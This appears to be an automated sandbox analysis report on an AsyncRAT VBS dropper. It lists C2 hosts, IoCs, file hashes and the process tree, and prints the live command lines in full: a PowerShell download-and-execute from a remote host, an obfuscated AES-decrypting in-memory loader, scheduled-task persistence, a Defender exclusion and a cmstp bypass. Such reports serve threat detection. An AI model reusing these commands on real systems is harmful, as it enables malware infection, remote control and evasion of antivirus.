Analysis

  • max time kernel
    595s
  • max time network
    598s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241023-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    09-12-2024 20:24

General

  • Target

    1821_output.vbs

  • Size

    61KB

  • MD5

    6943e4c37b93c2a81a98a81e36d2d5ce

  • SHA1

    ad2ba17165344f88b6bf0befaac528feb8a3280f

  • SHA256

    57bf3620d73728f07bed5cd48af70ca89dc70721b62c084f5f0feebed7f81a4f

  • SHA512

    78034880a195d5dc7729a6c7631a660f9945dd368a86b50b458e70e0191a7953ba47435c242c94ce8548832e4920e08949fcb1aa099d5d7b927da9bc9b69cf80

  • SSDEEP

    768:ni1+nYY2MDjo2CLlIbkrMvrIzkoILj2AA3drdg8KCklQCdUq13ZZIwX+Ay6Iwcgh:iXvlIkgvrWC3ASCk0q13HX+C9czhG

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

jt8iyre.localto.net:55644

jt8iyre.localto.net:2101

Mutex

WzRdrlEJS302

Attributes
  • delay

    3

  • install

    false

  • install_file

    dwmm.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1821_output.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3968
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2604
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:240
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uisquvb1\uisquvb1.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:5016
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAF0C.tmp" "c:\Users\Admin\AppData\Local\Temp\uisquvb1\CSCC6F4495C530D4470968E477AF54C71D1.TMP"
            5⤵
              PID:3364
          • C:\windows\system32\cmstp.exe
            "C:\windows\system32\cmstp.exe" /au C:\windows\temp\1xwyyn4a.inf
            4⤵
              PID:3600
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1260
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3988
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_86_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\latencyx86.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4524
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\latencyx86.vbs"
              4⤵
              • Checks computer location settings
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1944
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\latencyx86.bat" "
                5⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:4224
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Roaming\latencyx86.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
                  6⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4756
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
        1⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3924
      • C:\Windows\system32\taskkill.exe
        taskkill /IM cmstp.exe /F
        1⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1932

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        3KB

        MD5

        3eb3833f769dd890afc295b977eab4b4

        SHA1

        e857649b037939602c72ad003e5d3698695f436f

        SHA256

        c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

        SHA512

        c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        99b15f35821046cf0dfc3dcb9189631f

        SHA1

        5f178b323a1247ce94ebbadf9473c4dcd8ccb1ce

        SHA256

        e4c2a17ef6811cc1458876f2ebf29b12aa8d0f381873c6d6748499944eb753e2

        SHA512

        512975d45a2822515059c31aa1d64b36d7f78cc8ba8b5e0506b8b749a680581bbd01c03fbbf1a84bf078c021970835c298a865f237c76a2405d3e28577b73837

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        18KB

        MD5

        463ee443d963c0a56a39554570043554

        SHA1

        b003500ac7e898373b4ea49c770fee6c63c088c7

        SHA256

        7bac8e44649a64efd7f00184cb3828b49077605e99579161c5718b5f5746a332

        SHA512

        26ebd05721fa82585c4546d9be94c056bdc22fb74724a1ca2500202ec5dc6b89cb39a72036889e08e61a2aff6d983a99c7f1263641d7be2b7a2e634b413a3869

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        20b21151d2afe6dd15abd2f2759c4fe5

        SHA1

        76698531892c6ca21eff2b0f38aa7964f3775f6d

        SHA256

        9ef9b7bae93a1d21e767ec94bbe4764672090e28b1cc285b1d9afdbc17d3ddfe

        SHA512

        363a5ee6925e745a459a197748351b5605f8acd5b679d3f04a34d85d49e19861e80eaee59af35a4c91e8fc6498b459d1a3b8f70c1d84db4be3501e552fa6c546

      • C:\Users\Admin\AppData\Local\Temp\RESAF0C.tmp

        Filesize

        1KB

        MD5

        efcd2c92999eee133aa75d05ae00cc3a

        SHA1

        00eefc20f5dbad8135e3c363be919a170a6885e3

        SHA256

        33ef77b63b1bb9990b56ca745accc2c71e9972b72b894356d5cce4d501c3a229

        SHA512

        0a1bae0aef5e6e94d9d2f538777bbf76892b79ca35e3787edc741c5f3a4dd00c91799fd02a78baa1c3d24f09e82c3fcef2baad360047fd25b7f78294a632ec6a

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ob1ozgb2.e3q.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\c.bat

        Filesize

        53KB

        MD5

        5658af2134929280550a46a39d5d1254

        SHA1

        757ce11f87e3886b0320fca0bd6bf1f26968a25e

        SHA256

        942cc99875f60e2aef139a7d8e8341409d2dd4625573f32cbe292124838cdeed

        SHA512

        e7ac74d0f9182d563dcb5765c160bec3ea4ede13a0a2612bafc5c8451393f3646430c340df57f1ad02807d9b610f55da0db2c67d531de21e91c21ebfe3cea1c8

      • C:\Users\Admin\AppData\Local\Temp\uisquvb1\uisquvb1.dll

        Filesize

        4KB

        MD5

        0cee8cf63b04ba8202abf9887ee25b15

        SHA1

        c2ed8fb76fca9a614651a96282a1f25f2234ed74

        SHA256

        a7f400dad2d49ae1267378185a8e628b012fbe7c1dc3acf13b3f6ea71067d7bb

        SHA512

        14a0f72d24d59a174a20129da38876041db8c4ca970fde423c182e9ecf5c12a0737abfcb5b1c1337f60348607f9f19f7c7ed2c81cb8f2bff1c40279e58a435ab

      • C:\Users\Admin\AppData\Roaming\latencyx86.vbs

        Filesize

        110B

        MD5

        ac92b073f750f46161fe04600542457e

        SHA1

        167608dff06141374924dac3a82dc2b63055e35f

        SHA256

        57d30840463ff372a94ff1826a154e826168caa33c1bcc940d890d172c6bdafb

        SHA512

        777628b62f50b46ef5a9a0524d0b0c589fc2597d4e34f2bf4a52369584926f95db55766a040150f0c1d3254f9637b18ac75655324f408fa60a1279d5e4e09ff2

      • C:\windows\temp\1xwyyn4a.inf

        Filesize

        683B

        MD5

        a4fd12b94ad4ac06fabd8dd56dd5ff2b

        SHA1

        940d129205e04ba31b10a72d7a7a236a9ed0488b

        SHA256

        fe9977d49d2ae366779da959a5c9a6cc7664bc82d7c8e243f1baa9aa539cd320

        SHA512

        a4712ad7a23ab7a1eadfdaa7dc73dc406a0a14313c0413561f2f4ba8087c79c504d1d4391585b1b91f580ffef3869a37523707979dd5ab870a596062497e79fe

      • \??\c:\Users\Admin\AppData\Local\Temp\uisquvb1\CSCC6F4495C530D4470968E477AF54C71D1.TMP

        Filesize

        652B

        MD5

        fc89e4e2b6beabeaf4ec417c00f9dd13

        SHA1

        e8a90e27c9c5509474a645217116631b1be4cfd1

        SHA256

        81e6a972b6de672707f19ae8cfdc219ebf174dd3525d93ca42c27148e66d1da9

        SHA512

        150922108e13c319b02dfe3ba9c545c81d13bc3a6b793f5c2fdb349927fb1971f6477b0127eab33b213682f4d445b70b96cc2c684fce80017204b84b1c222f28

      • \??\c:\Users\Admin\AppData\Local\Temp\uisquvb1\uisquvb1.0.cs

        Filesize

        2KB

        MD5

        897ac4306f2a2524bc3c441bd00c72b9

        SHA1

        1703dbf9a2a78491dfd6685540d4691839e33b69

        SHA256

        a889dd1616631e369d253d6d89cc3a253b663e636bb1cdebbf831817592b405b

        SHA512

        2eba96a7960fe4c8c083ffbca30dbff4c5aac6acfa2c99b6ab5802376d028cbf471c3f06fcef9a3a0129dc988df1aceba808c3436cd110c123dc2ba1147c81b6

      • \??\c:\Users\Admin\AppData\Local\Temp\uisquvb1\uisquvb1.cmdline

        Filesize

        369B

        MD5

        f1b8a5d6ecbc4f3bd05ebb225434c66f

        SHA1

        7095a62876823d944df45127241f7f79e8aa2768

        SHA256

        ab7571f622093b85a49a3f7fdda24fc898c9ecd95daa3236c7697a6c935adea7

        SHA512

        42ea2e64bce49c48a87489fa0439e20e22a49eaeb0df5be7d562ba3324206b745e41b13e69b4b6edb1212a1924b82a6c8528458603164590b56ec9dc3aea2c4e

      • memory/240-13-0x00007FFBD4350000-0x00007FFBD4E12000-memory.dmp

        Filesize

        10.8MB

      • memory/240-44-0x00007FFBD4353000-0x00007FFBD4355000-memory.dmp

        Filesize

        8KB

      • memory/240-45-0x00007FFBD4350000-0x00007FFBD4E12000-memory.dmp

        Filesize

        10.8MB

      • memory/240-27-0x0000016758840000-0x0000016758848000-memory.dmp

        Filesize

        32KB

      • memory/240-14-0x000001675AF30000-0x000001675AF4C000-memory.dmp

        Filesize

        112KB

      • memory/240-49-0x00007FFBD4350000-0x00007FFBD4E12000-memory.dmp

        Filesize

        10.8MB

      • memory/240-12-0x00007FFBD4350000-0x00007FFBD4E12000-memory.dmp

        Filesize

        10.8MB

      • memory/240-11-0x00007FFBD4350000-0x00007FFBD4E12000-memory.dmp

        Filesize

        10.8MB

      • memory/240-6-0x0000016758810000-0x0000016758832000-memory.dmp

        Filesize

        136KB

      • memory/240-0-0x00007FFBD4353000-0x00007FFBD4355000-memory.dmp

        Filesize

        8KB

      • memory/3988-64-0x0000000005EB0000-0x0000000005ED2000-memory.dmp

        Filesize

        136KB

      • memory/3988-78-0x0000000007860000-0x00000000078FC000-memory.dmp

        Filesize

        624KB

      • memory/3988-71-0x00000000062B0000-0x0000000006607000-memory.dmp

        Filesize

        3.3MB

      • memory/3988-73-0x0000000006610000-0x000000000662E000-memory.dmp

        Filesize

        120KB

      • memory/3988-74-0x0000000006650000-0x000000000669C000-memory.dmp

        Filesize

        304KB

      • memory/3988-75-0x0000000007E20000-0x000000000849A000-memory.dmp

        Filesize

        6.5MB

      • memory/3988-76-0x0000000007760000-0x000000000777A000-memory.dmp

        Filesize

        104KB

      • memory/3988-70-0x0000000006240000-0x00000000062A6000-memory.dmp

        Filesize

        408KB

      • memory/3988-77-0x00000000077A0000-0x00000000077A8000-memory.dmp

        Filesize

        32KB

      • memory/3988-79-0x00000000079D0000-0x00000000079DE000-memory.dmp

        Filesize

        56KB

      • memory/3988-80-0x0000000008A50000-0x0000000008FF6000-memory.dmp

        Filesize

        5.6MB

      • memory/3988-69-0x0000000006050000-0x00000000060B6000-memory.dmp

        Filesize

        408KB

      • memory/3988-57-0x0000000002F70000-0x0000000002FA6000-memory.dmp

        Filesize

        216KB

      • memory/3988-58-0x0000000005760000-0x0000000005E2A000-memory.dmp

        Filesize

        6.8MB

      • memory/4524-91-0x0000000006F70000-0x0000000006FA2000-memory.dmp

        Filesize

        200KB

      • memory/4524-104-0x0000000007190000-0x000000000719A000-memory.dmp

        Filesize

        40KB

      • memory/4524-105-0x00000000073B0000-0x0000000007446000-memory.dmp

        Filesize

        600KB

      • memory/4524-106-0x0000000007320000-0x0000000007331000-memory.dmp

        Filesize

        68KB

      • memory/4524-103-0x0000000006FC0000-0x0000000007063000-memory.dmp

        Filesize

        652KB

      • memory/4524-102-0x0000000006F50000-0x0000000006F6E000-memory.dmp

        Filesize

        120KB

      • memory/4524-92-0x0000000071050000-0x000000007109C000-memory.dmp

        Filesize

        304KB

      • memory/4756-128-0x0000000007CE0000-0x0000000007CF2000-memory.dmp

        Filesize

        72KB